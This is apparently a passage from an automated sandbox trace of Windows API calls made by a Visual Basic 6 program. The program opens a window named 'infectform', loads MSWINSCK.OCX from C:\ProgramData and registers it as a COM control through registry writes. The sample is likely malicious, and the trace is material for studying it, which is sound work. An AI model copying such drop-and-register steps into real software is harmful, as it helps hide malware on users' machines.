Flags=0x8, Size=0x15) returned 0x383ec78 [0186.595] lstrlenA (lpString="infectform") returned 10 [0186.595] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xb) returned 0x3832f50 [0186.595] OleLoadPictureEx () returned 0x0 [0186.597] lstrlenA (lpString="infectform") returned 10 [0186.597] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xb) returned 0x3832f68 [0186.597] lstrlenA (lpString="ThunderRT6") returned 10 [0186.597] lstrcpyA (in: lpString1=0x18ed20, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0186.597] lstrlenA (lpString="ThunderRT6Form") returned 14 [0186.597] lstrcpynA (in: lpString1=0x18ed2e, lpString2="DC", iMaxLength=116 | out: lpString1="DC") returned="DC" [0186.598] AdjustWindowRectEx (in: lpRect=0x18ede0, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x0 | out: lpRect=0x18ede0) returned 1 [0186.598] CreateWindowExA (dwExStyle=0x0, lpClassName=0xc162, lpWindowName="infectform", dwStyle=0x2cf0000, X=-2147483648, Y=-2147483648, nWidth=136, nHeight=46, hWndParent=0x170262, hMenu=0x0, hInstance=0x72940000, lpParam=0x0) returned 0x60106 [0186.598] NtdllDefWindowProc_A (hWnd=0x60106, Msg=0x81, wParam=0x0, lParam=0x18e904) returned 0x1 [0186.599] NtdllDefWindowProc_A (hWnd=0x60106, Msg=0x83, wParam=0x0, lParam=0x18e8f0) returned 0x0 [0186.600] GetSystemMenu (hWnd=0x60106, bRevert=0) returned 0x120247 [0186.600] SetWindowContextHelpId (param_1=0x60106, param_2=0xffffffff) returned 1 [0186.600] NtdllDefWindowProc_A (hWnd=0x60106, Msg=0x1, wParam=0x0, lParam=0x18e904) returned 0x0 [0186.600] GetWindowRect (in: hWnd=0x60106, lpRect=0x18eda4 | out: lpRect=0x18eda4) returned 1 [0186.600] GetDC (hWnd=0x60106) returned 0x29010248 [0186.601] GetTextMetricsA (in: hdc=0x29010248, lptm=0x18eccc | out: lptm=0x18eccc) returned 1 [0186.601] SetBkMode (hdc=0x29010248, mode=1) returned 2 [0186.601] OleTranslateColor () returned 0x0 [0186.601] SetBkColor (hdc=0x29010248, color=0xf0f0f0) returned 0xffffff [0186.601] OleTranslateColor () returned 0x0 [0186.601] SetTextColor (hdc=0x29010248, color=0x0) returned 0x0 [0186.601] OleTranslateColor () returned 0x0 [0186.601] CreatePen (iStyle=0, cWidth=1, color=0x0) returned 0x1e300276 [0186.601] SelectObject (hdc=0x29010248, h=0x1e300276) returned 0x1b00017 [0186.601] SelectObject (hdc=0x29010248, h=0x1900011) returned 0x1900010 [0186.601] ClientToScreen (in: hWnd=0x60106, lpPoint=0x18ecac | out: lpPoint=0x18ecac) returned 1 [0186.601] SetBrushOrgEx (in: hdc=0x29010248, x=1, y=7, lppt=0x0 | out: lppt=0x0) returned 1 [0186.601] UnrealizeObject (h=0x1900015) returned 1 [0186.601] SelectObject (hdc=0x29010248, h=0x1900015) returned 0x1900011 [0186.602] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x383ec98 [0186.602] SelectObject (hdc=0x29010248, h=0xb0a0986) returned 0x18a002e [0186.602] GetTextMetricsA (in: hdc=0x29010248, lptm=0x18eac0 | out: lptm=0x18eac0) returned 1 [0186.602] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0xf4) returned 0x383f550 [0186.602] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x383ecf8 [0186.602] lstrlenA (lpString="ThunderRT6") returned 10 [0186.602] lstrcpyA (in: lpString1=0x18ecf0, lpString2="ThunderRT6" | out: lpString1="ThunderRT6") returned="ThunderRT6" [0186.602] CreateWindowExA (dwExStyle=0x4, lpClassName=0xc192, lpWindowName=0x0, dwStyle=0x448100e0, X=8, Y=136, nWidth=417, nHeight=19, hWndParent=0x60106, hMenu=0x1, hInstance=0x72940000, lpParam=0x0) returned 0x50282 [0186.602] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x50282, Msg=0x81, wParam=0x0, lParam=0x18e8d4) returned 0x1 [0186.603] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x50282, Msg=0x83, wParam=0x0, lParam=0x18e8c0) returned 0x0 [0186.603] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x50282, Msg=0x1, wParam=0x0, lParam=0x18e8d4) returned 0x1 [0186.604] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x50282, Msg=0xcc, wParam=0x0, lParam=0x0) returned 0x1 [0186.604] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x50282, Msg=0x5, wParam=0x0, lParam=0x1301a1) returned 0x0 [0186.604] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x50282, Msg=0x3, wParam=0x0, lParam=0x880008) returned 0x0 [0186.604] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x14) returned 0x383ed18 [0186.604] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x50282, Msg=0x30, wParam=0xb0a0986, lParam=0x0) returned 0x1 [0186.605] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x50282, Msg=0xd3, wParam=0xffff, lParam=0x0) returned 0x0 [0186.605] ShowWindow (hWnd=0x50282, nCmdShow=5) returned 0 [0186.605] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x50282, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0186.605] lstrcmpiA (lpString1="MSWinsockLib.Winsock", lpString2="MSWinsockLib.Winsock") returned 0 [0186.605] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x174) returned 0x38402f8 [0186.605] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x15) returned 0x383ecb8 [0186.605] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x2c) returned 0x3840478 [0186.605] HeapCreate (flOptions=0x0, dwInitialSize=0x68, dwMaximumSize=0x0) returned 0x36e0000 [0186.606] RtlAllocateHeap (HeapHandle=0x36e0000, Flags=0x8, Size=0x2c) returned 0x36e07d0 [0186.607] CoGetClassObject (in: rclsid=0x3833884*(Data1=0x248dd896, Data2=0xbb45, Data3=0x11cf, Data4=([0]=0x9a, [1]=0xbc, [2]=0x0, [3]=0x80, [4]=0xc7, [5]=0xe7, [6]=0xb7, [7]=0x8d)), dwClsContext=0x3, pvReserved=0x0, riid=0x72970510*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18ed40 | out: ppv=0x18ed40*=0x0) returned 0x80040154 [0186.609] StringFromCLSID (in: rclsid=0x3833884*(Data1=0x248dd896, Data2=0xbb45, Data3=0x11cf, Data4=([0]=0x9a, [1]=0xbc, [2]=0x0, [3]=0x80, [4]=0xc7, [5]=0xe7, [6]=0xb7, [7]=0x8d)), lplpsz=0x18ecf4 | out: lplpsz=0x18ecf4*="{248DD896-BB45-11CF-9ABC-0080C7E7B78D}") returned 0x0 [0186.609] IMalloc:Alloc (This=0x767666bc, cb=0x27) returned 0x14c2580 [0186.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="{248DD896-BB45-11CF-9ABC-0080C7E7B78D}", cchWideChar=-1, lpMultiByteStr=0x14c2580, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{248DD896-BB45-11CF-9ABC-0080C7E7B78D}", lpUsedDefaultChar=0x0) returned 39 [0186.609] IMalloc:Free (This=0x767666bc, pv=0x14cc628) [0186.609] RtlAllocateHeap (HeapHandle=0x2d30000, Flags=0x0, Size=0x940) returned 0x2d33990 [0186.610] LoadStringA (in: hInstance=0x72940000, uID=0x34cf, lpBuffer=0x18ccbc, cchBufferMax=512 | out: lpBuffer="Looking for object with CLSID:") returned 0x1e [0186.763] lstrcpyA (in: lpString1=0x38404b0, lpString2="Looking for object with CLSID:" | out: lpString1="Looking for object with CLSID:") returned="Looking for object with CLSID:" [0186.763] lstrcatA (in: lpString1="Looking for object with CLSID:", lpString2="{248DD896-BB45-11CF-9ABC-0080C7E7B78D}" | out: lpString1="Looking for object with CLSID:{248DD896-BB45-11CF-9ABC-0080C7E7B78D}") returned="Looking for object with CLSID:{248DD896-BB45-11CF-9ABC-0080C7E7B78D}" [0186.763] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383f668 | out: hHeap=0x3820000) returned 1 [0186.764] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x400) returned 0x383f650 [0186.764] LoadStringA (in: hInstance=0x72940000, uID=0x6b1, lpBuffer=0x383f650, cchBufferMax=1024 | out: lpBuffer="Class not registered. \n|1") returned 0x19 [0186.764] lstrlenA (lpString="Class not registered. \n|1") returned 25 [0186.764] IMalloc:Free (This=0x767666bc, pv=0x14c2580) [0186.764] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x170) returned 0x38404b0 [0186.764] SetLastError (dwErrCode=0x0) [0186.764] SearchPathA (in: lpPath=0x0, lpFileName="MSWINSCK.OCX", lpExtension=0x0, nBufferLength=0x103, lpBuffer=0x18ebac, lpFilePart=0x18ea40 | out: lpBuffer="C:\\ProgramData\\MSWINSCK.OCX", lpFilePart=0x18ea40*="MSWINSCK.OCX") returned 0x1b [0186.764] GetLastError () returned 0x0 [0186.764] LoadLibraryA (lpLibFileName="VERSION.DLL") returned 0x744f0000 [0186.767] GetLastError () returned 0x0 [0186.767] GetProcAddress (hModule=0x744f0000, lpProcName="VerQueryValueA") returned 0x744f1b72 [0186.767] GetProcAddress (hModule=0x744f0000, lpProcName="GetFileVersionInfoSizeA") returned 0x744f1c9c [0186.767] GetProcAddress (hModule=0x744f0000, lpProcName="GetFileVersionInfoA") returned 0x744f1ced [0186.767] GetFileVersionInfoSizeA (in: lptstrFilename="C:\\ProgramData\\MSWINSCK.OCX", lpdwHandle=0x18ea78 | out: lpdwHandle=0x18ea78) returned 0x8d4 [0186.808] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x8d4) returned 0x3840628 [0186.808] GetFileVersionInfoA (in: lptstrFilename="C:\\ProgramData\\MSWINSCK.OCX", dwHandle=0x0, dwLen=0x8d4, lpData=0x3840628 | out: lpData=0x3840628) returned 1 [0187.202] VerQueryValueA (in: pBlock=0x3840628, lpSubBlock="\\", lplpBuffer=0x18ea84, puLen=0x18ea8c | out: lplpBuffer=0x18ea84*=0x3840650, puLen=0x18ea8c) returned 1 [0187.203] VerQueryValueA (in: pBlock=0x3840628, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x18eba4, puLen=0x18ea8c | out: lplpBuffer=0x18eba4*=0x3840a8c, puLen=0x18ea8c) returned 1 [0187.203] wsprintfA (in: param_1=0x18ea90, param_2="\\StringFileInfo\\%04x%04x\\OLESelfRegister" | out: param_1="\\StringFileInfo\\040904e4\\OLESelfRegister") returned 40 [0187.203] VerQueryValueA (in: pBlock=0x3840628, lpSubBlock="\\StringFileInfo\\040904e4\\OLESelfRegister", lplpBuffer=0x18eba4, puLen=0x18ea8c | out: lplpBuffer=0x18eba4*=0x3840a48, puLen=0x18ea8c) returned 1 [0187.203] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3840628 | out: hHeap=0x3820000) returned 1 [0187.203] LoadLibraryExA (lpLibFileName="C:\\ProgramData\\MSWINSCK.OCX", hFile=0x0, dwFlags=0x8) returned 0x22170000 [0187.998] GetVersion () returned 0x1db10106 [0187.999] GetProcessHeap () returned 0x1410000 [0187.999] DisableThreadLibraryCalls (hLibModule=0x22170000) returned 1 [0187.999] GetSystemMetrics (nIndex=42) returned 0 [0187.999] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x0, Size=0x20) returned 0x14f5e28 [0187.999] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x8, Size=0x20c) returned 0x1454b50 [0187.999] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x0, Size=0x18) returned 0x14bde58 [0187.999] RegisterClassA (lpWndClass=0x18e6f8) returned 0xec195 [0187.999] GetCurrentThreadId () returned 0x9ec [0187.999] WSAStartup (in: wVersionRequired=0x101, lpWSAData=0x18e590 | out: lpWSAData=0x18e590) returned 0 [0188.009] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x0, Size=0x3f8) returned 0x1498f50 [0188.009] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x8, Size=0x20c) returned 0x14551c8 [0188.009] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x8, Size=0x20c) returned 0x14553f0 [0188.009] CreateWindowExA (dwExStyle=0x0, lpClassName="NMNotifyWindowClass", lpWindowName="Notification Window", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x22170000, lpParam=0x0) returned 0x5027c [0188.010] NtdllDefWindowProc_A (hWnd=0x5027c, Msg=0x24, wParam=0x0, lParam=0x18e178) returned 0x0 [0188.010] NtdllDefWindowProc_A (hWnd=0x5027c, Msg=0x81, wParam=0x0, lParam=0x18e16c) returned 0x1 [0188.010] NtdllDefWindowProc_A (hWnd=0x5027c, Msg=0x83, wParam=0x0, lParam=0x18e158) returned 0x0 [0188.010] NtdllDefWindowProc_A (hWnd=0x5027c, Msg=0x1, wParam=0x0, lParam=0x18e16c) returned 0x0 [0188.013] SetWindowLongA (hWnd=0x5027c, nIndex=0, dwNewLong=21598032) returned 0 [0188.013] GetCurrentThreadId () returned 0x9ec [0188.013] RtlAllocateHeap (HeapHandle=0x1410000, Flags=0x8, Size=0xfa0) returned 0x14fe750 [0188.014] GetProcAddress (hModule=0x22170000, lpProcName="DllRegisterServer") returned 0x2217b485 [0188.014] GetModuleFileNameA (in: hModule=0x22170000, lpFilename=0x18e82c, nSize=0x104 | out: lpFilename="C:\\ProgramData\\MSWINSCK.OCX" (normalized: "c:\\programdata\\mswinsck.ocx")) returned 0x1b [0188.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e82c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0188.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e82c, cbMultiByte=-1, lpWideCharStr=0x14b4f74, cchWideChar=28 | out: lpWideCharStr="C:\\ProgramData\\MSWINSCK.OCX") returned 28 [0188.014] LoadTypeLib (in: szFile="C:\\ProgramData\\MSWINSCK.OCX", pptlib=0x18ea40*=0x0 | out: pptlib=0x18ea40*=0x146ad80) returned 0x0 [0188.018] ITypeLib:RemoteGetLibAttr (in: This=0x146ad80, ppTLibAttr=0x18ea4c, pDummy=0x0 | out: ppTLibAttr=0x18ea4c, pDummy=0x0) returned 0x0 [0188.018] ITypeLib:LocalReleaseTLibAttr (This=0x146ad80) returned 0x1436790 [0188.018] GetWindowsDirectoryA (in: lpBuffer=0x18e930, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0188.018] lstrlenA (lpString="\\HELP") returned 5 [0188.018] lstrcatA (in: lpString1="C:\\Windows", lpString2="\\HELP" | out: lpString1="C:\\Windows\\HELP") returned="C:\\Windows\\HELP" [0188.018] lstrcatA (in: lpString1="C:\\Windows\\HELP", lpString2="\\" | out: lpString1="C:\\Windows\\HELP\\") returned="C:\\Windows\\HELP\\" [0188.018] lstrlenA (lpString="MSWNSK98.chm") returned 12 [0188.018] lstrlenA (lpString="MSWNSK98.chm") returned 12 [0188.018] lstrcpynA (in: lpString1=0x18e940, lpString2="MSWNSK98.chm", iMaxLength=13 | out: lpString1="MSWNSK98.chm") returned="MSWNSK98.chm" [0188.018] GetFileAttributesA (lpFileName="C:\\Windows\\HELP\\MSWNSK98.chm" (normalized: "c:\\windows\\help\\mswnsk98.chm")) returned 0xffffffff [0188.019] ITypeLib:GetTypeInfoOfGuid (in: This=0x146ad80, GUID=0x22171588*(Data1=0x248dd896, Data2=0xbb45, Data3=0x11cf, Data4=([0]=0x9a, [1]=0xbc, [2]=0x0, [3]=0x80, [4]=0xc7, [5]=0xe7, [6]=0xb7, [7]=0x8d)), ppTInfo=0x18e814 | out: ppTInfo=0x18e814*=0x1466644) returned 0x0 [0188.019] ITypeInfo:RemoteGetTypeAttr (in: This=0x1466644, ppTypeAttr=0x18e81c, pDummy=0x1 | out: ppTypeAttr=0x18e81c, pDummy=0x1) returned 0x0 [0188.019] ITypeInfo:LocalReleaseTypeAttr (This=0x1466644) returned 0x144bb00 [0188.019] IUnknown:Release (This=0x1466644) returned 0x0 [0188.019] wsprintfA (in: param_1=0x18e220, param_2="{%08lX-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}" | out: param_1="{248DD896-BB45-11CF-9ABC-0080C7E7B78D}") returned 38 [0188.019] wsprintfA (in: param_1=0x18e11c, param_2="CLSID\\%s" | out: param_1="CLSID\\{248DD896-BB45-11CF-9ABC-0080C7E7B78D}") returned 44 [0188.019] RegCreateKeyExA (in: hKey=0x80000000, lpSubKey="CLSID\\{248DD896-BB45-11CF-9ABC-0080C7E7B78D}", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0x20019, lpSecurityAttributes=0x0, phkResult=0x18e334, lpdwDisposition=0x18e324 | out: phkResult=0x18e334*=0x2e2, lpdwDisposition=0x18e324*=0x1) returned 0x0 [0188.021] RegOpenKeyExA (in: hKey=0x2e2, lpSubKey="Implemented Categories", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e328 | out: phkResult=0x18e328*=0x0) returned 0x2 [0188.022] RegCloseKey (hKey=0x2e2) returned 0x0 [0188.022] wsprintfA (in: param_1=0x18e224, param_2="{%08lX-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}" | out: param_1="{248DD896-BB45-11CF-9ABC-0080C7E7B78D}") returned 38 [0188.022] RegOpenKeyExA (in: hKey=0x80000000, lpSubKey="CLSID", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e334 | out: phkResult=0x18e334*=0x2e2) returned 0x0 [0188.022] wsprintfA (in: param_1=0x18e10c, param_2="%s\\InprocServer" | out: param_1="{248DD896-BB45-11CF-9ABC-0080C7E7B78D}\\InprocServer") returned 51 [0188.022] RegOpenKeyExA (in: hKey=0x2e2, lpSubKey="{248DD896-BB45-11CF-9ABC-0080C7E7B78D}\\InprocServer", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e21c | out: phkResult=0x18e21c*=0x0) returned 0x2 [0188.022] RegOpenKeyExA (in: hKey=0x2e2, lpSubKey="{248DD896-BB45-11CF-9ABC-0080C7E7B78D}", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e20c | out: phkResult=0x18e20c*=0x722) returned 0x0 [0188.022] RegEnumKeyExA (in: hKey=0x722, dwIndex=0x0, lpName=0x18e104, lpcchName=0x18e208, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="?", lpcchName=0x18e208, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0188.023] RegCloseKey (hKey=0x722) returned 0x0 [0188.023] RegDeleteKeyA (hKey=0x2e2, lpSubKey="{248DD896-BB45-11CF-9ABC-0080C7E7B78D}") returned 0x0 [0188.024] RegCloseKey (hKey=0x2e2) returned 0x0 [0188.024] wsprintfA (in: param_1=0x18e448, param_2="{%08lX-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}" | out: param_1="{248DD896-BB45-11CF-9ABC-0080C7E7B78D}") returned 38 [0188.024] wsprintfA (in: param_1=0x18e344, param_2="CLSID\\%s" | out: param_1="CLSID\\{248DD896-BB45-11CF-9ABC-0080C7E7B78D}") returned 44 [0188.024] RegCreateKeyExA (in: hKey=0x80000000, lpSubKey="CLSID\\{248DD896-BB45-11CF-9ABC-0080C7E7B78D}", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x18e474, lpdwDisposition=0x18e470 | out: phkResult=0x18e474*=0x722, lpdwDisposition=0x18e470*=0x1) returned 0x0 [0188.025] lstrcpyA (in: lpString1=0x18e344, lpString2="Microsoft WinSock Control, version 6.0" | out: lpString1="Microsoft WinSock Control, version 6.0") returned="Microsoft WinSock Control, version 6.0" [0188.025] lstrlenA (lpString="Microsoft WinSock Control, version 6.0") returned 38 [0188.025] RegSetValueExA (in: hKey=0x722, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="Microsoft WinSock Control, version 6.0", cbData=0x27 | out: lpData="Microsoft WinSock Control, version 6.0") returned 0x0 [0188.026] RegCreateKeyExA (in: hKey=0x722, lpSubKey="InprocServer32", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x18e478, lpdwDisposition=0x18e470 | out: phkResult=0x18e478*=0x782, lpdwDisposition=0x18e470*=0x1) returned 0x0 [0188.027] GetModuleFileNameA (in: hModule=0x22170000, lpFilename=0x18e344, nSize=0x104 | out: lpFilename="C:\\ProgramData\\MSWINSCK.OCX" (normalized: "c:\\programdata\\mswinsck.ocx")) returned 0x1b [0188.027] RegSetValueExA (in: hKey=0x782, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="C:\\ProgramData\\MSWINSCK.OCX", cbData=0x1c | out: lpData="C:\\ProgramData\\MSWINSCK.OCX") returned 0x0 [0188.028] RegSetValueExA (in: hKey=0x782, lpValueName="ThreadingModel", Reserved=0x0, dwType=0x1, lpData="Apartment", cbData=0xa | out: lpData="Apartment") returned 0x0 [0188.028] RegCloseKey (hKey=0x782) returned 0x0 [0188.028] RegCloseKey (hKey=0x722) returned 0x0 [0188.028] lstrcpyA (in: lpString1=0x18e4a0, lpString2="MSWinsock" | out: lpString1="MSWinsock") returned="MSWinsock" [0188.028] lstrcatA (in: lpString1="MSWinsock", lpString2="." | out: lpString1="MSWinsock.") returned="MSWinsock." [0188.028] lstrcatA (in: lpString1="MSWinsock.", lpString2="Winsock" | out: lpString1="MSWinsock.Winsock") returned="MSWinsock.Winsock" [0188.028] RegCreateKeyExA (in: hKey=0x80000000, lpSubKey="MSWinsock.Winsock", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x18e5d0, lpdwDisposition=0x18e600 | out: phkResult=0x18e5d0*=0x782, lpdwDisposition=0x18e600*=0x1) returned 0x0 [0188.092] lstrcpyA (in: lpString1=0x18e4a0, lpString2="Microsoft WinSock Control, version 6.0" | out: lpString1="Microsoft WinSock Control, version 6.0") returned="Microsoft WinSock Control, version 6.0" [0188.092] lstrlenA (lpString="Microsoft WinSock Control, version 6.0") returned 38 [0188.092] RegSetValueExA (in: hKey=0x782, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="Microsoft WinSock Control, version 6.0", cbData=0x27 | out: lpData="Microsoft WinSock Control, version 6.0") returned 0x0 [0188.097] RegCreateKeyExA (in: hKey=0x782, lpSubKey="CLSID", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x18e5d4, lpdwDisposition=0x18e600 | out: phkResult=0x18e5d4*=0x2e2, lpdwDisposition=0x18e600*=0x1) returned 0x0 [0188.098] wsprintfA (in: param_1=0x18e5a4, param_2="{%08lX-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}" | out: param_1="{248DD896-BB45-11CF-9ABC-0080C7E7B78D}") returned 38 [0188.098] lstrlenA (lpString="{248DD896-BB45-11CF-9ABC-0080C7E7B78D}") returned 38 [0188.098] RegSetValueExA (in: hKey=0x2e2, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="{248DD896-BB45-11CF-9ABC-0080C7E7B78D}", cbData=0x27 | out: lpData="{248DD896-BB45-11CF-9ABC-0080C7E7B78D}") returned 0x0 [0188.099] RegCloseKey (hKey=0x2e2) returned 0x0 [0188.099] RegCreateKeyExA (in: hKey=0x782, lpSubKey="CurVer", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x18e5d4, lpdwDisposition=0x18e600 | out: phkResult=0x18e5d4*=0x722, lpdwDisposition=0x18e600*=0x1) returned 0x0 [0188.100] wsprintfA (in: param_1=0x18e4a0, param_2="%s.%s.%ld" | out: param_1="MSWinsock.Winsock.1") returned 19 [0188.100] lstrlenA (lpString="MSWinsock.Winsock.1") returned 19 [0188.100] RegSetValueExA (in: hKey=0x722, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="MSWinsock.Winsock.1", cbData=0x14 | out: lpData="MSWinsock.Winsock.1") returned 0x0 [0188.100] RegCloseKey (hKey=0x722) returned 0x0 [0188.101] RegCloseKey (hKey=0x782) returned 0x0 [0188.101] RegCreateKeyExA (in: hKey=0x80000000, lpSubKey="MSWinsock.Winsock.1", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x18e5d0, lpdwDisposition=0x18e600 | out: phkResult=0x18e5d0*=0x722, lpdwDisposition=0x18e600*=0x1) returned 0x0 [0188.102] lstrcpyA (in: lpString1=0x18e4a0, lpString2="Microsoft WinSock Control, version 6.0" | out: lpString1="Microsoft WinSock Control, version 6.0") returned="Microsoft WinSock Control, version 6.0" [0188.102] lstrlenA (lpString="Microsoft WinSock Control, version 6.0") returned 38 [0188.102] RegSetValueExA (in: hKey=0x722, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="Microsoft WinSock Control, version 6.0", cbData=0x27 | out: lpData="Microsoft WinSock Control, version 6.0") returned 0x0 [0188.102] RegCreateKeyExA (in: hKey=0x722, lpSubKey="CLSID", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x18e5d4, lpdwDisposition=0x18e600 | out: phkResult=0x18e5d4*=0x2e2, lpdwDisposition=0x18e600*=0x1) returned 0x0 [0188.103] lstrlenA (lpString="{248DD896-BB45-11CF-9ABC-0080C7E7B78D}") returned 38 [0188.103] RegSetValueExA (in: hKey=0x2e2, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="{248DD896-BB45-11CF-9ABC-0080C7E7B78D}", cbData=0x27 | out: lpData="{248DD896-BB45-11CF-9ABC-0080C7E7B78D}") returned 0x0 [0188.103] RegCloseKey (hKey=0x2e2) returned 0x0 [0188.104] RegCloseKey (hKey=0x722) returned 0x0 [0188.104] wsprintfA (in: param_1=0x18e5a4, param_2="{%08lX-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}" | out: param_1="{248DD896-BB45-11CF-9ABC-0080C7E7B78D}") returned 38 [0188.104] wsprintfA (in: param_1=0x18e4a0, param_2="CLSID\\%s" | out: param_1="CLSID\\{248DD896-BB45-11CF-9ABC-0080C7E7B78D}") returned 44 [0188.104] RegCreateKeyExA (in: hKey=0x80000000, lpSubKey="CLSID\\{248DD896-BB45-11CF-9ABC-0080C7E7B78D}", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x18e5d0, lpdwDisposition=0x18e600 | out: phkResult=0x18e5d0*=0x2e2, lpdwDisposition=0x18e600*=0x2) returned 0x0 [0188.104] RegCreateKeyExA (in: hKey=0x2e2, lpSubKey="VersionIndependentProgID", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x18e5d4, lpdwDisposition=0x18e600 | out: phkResult=0x18e5d4*=0x782, lpdwDisposition=0x18e600*=0x1) returned 0x0 [0188.105] wsprintfA (in: param_1=0x18e4a0, param_2="%s.%s" | out: param_1="MSWinsock.Winsock") returned 17 [0188.105] lstrlenA (lpString="MSWinsock.Winsock") returned 17 [0188.105] RegSetValueExA (in: hKey=0x782, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="MSWinsock.Winsock", cbData=0x12 | out: lpData="MSWinsock.Winsock") returned 0x0 [0188.105] RegCloseKey (hKey=0x782) returned 0x0 [0188.105] RegCreateKeyExA (in: hKey=0x2e2, lpSubKey="ProgID", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x18e5d4, lpdwDisposition=0x18e600 | out: phkResult=0x18e5d4*=0x722, lpdwDisposition=0x18e600*=0x1) returned 0x0 [0188.106] wsprintfA (in: param_1=0x18e4a0, param_2="%s.%s.%ld" | out: param_1="MSWinsock.Winsock.1") returned 19 [0188.106] lstrlenA (lpString="MSWinsock.Winsock.1") returned 19 [0188.106] RegSetValueExA (in: hKey=0x722, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="MSWinsock.Winsock.1", cbData=0x14 | out: lpData="MSWinsock.Winsock.1") returned 0x0 [0188.107] RegCloseKey (hKey=0x722) returned 0x0 [0188.107] RegCreateKeyExA (in: hKey=0x2e2, lpSubKey="TypeLib", Reserved=0x0, lpClass="", dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x18e5d4, lpdwDisposition=0x18e600 | out: phkResult=0x18e5d4*=0x782, lpdwDisposition=0x18e600*=0x1) returned 0x0 [0188.109] wsprintfA (in: param_1=0x18e5a4, param_2="{%08lX-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}" | out: 